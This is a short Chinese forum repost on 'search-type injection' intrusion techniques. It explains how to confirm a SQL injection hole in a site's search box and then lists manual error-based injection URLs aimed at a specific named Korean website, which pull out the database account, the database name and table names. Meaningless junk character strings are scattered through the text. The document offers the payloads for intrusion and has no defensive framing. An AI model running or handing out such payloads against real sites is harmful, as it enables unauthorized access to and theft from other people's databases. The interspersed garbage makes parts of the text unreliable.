搜索型注入的入侵技术
帖几个baidu出来的关于搜索型注入的文章。百度货,不知道作者是哪个,感谢了先。。 ^_^mt X6I8G:ce;U9u简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。7s;g`f7^;Q\
s'mjwMUU$X)r
然后再搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。
我这里看出有上面说的洞后开始用nbsi来扫,结果总是超时,郁闷,看来要手工来暴需要的信息了。。。7cA0OK!n+oG0f*C!`.z
[url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] user>0 and '%'=' //得到当前数据库账号N@(}5ne3_e3\
.VHd?{2W#b{RS
[url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] db_name()>0 and '%'=' //得到当前数据库名
[url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] (select count(*) from admin)>0 and '%'=' //返回错误页面,看来是没有admin这个表了@Y5}*bU8J_
dK+G!h1J
[url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0)>0 and '%'=' //得到当前数据库的第一个表名
2n.V2t i4UE+LK
[url]http://www.lvhuana.co.kr/product/list_search.aspx?search=Donic%'and[/url] (select top 1 name from lvhuana3.dbo.sysobjects where xtype='u' and status>0 and name not in('codechange'))>0 and '%'=' //得到当前数据库的第二个表名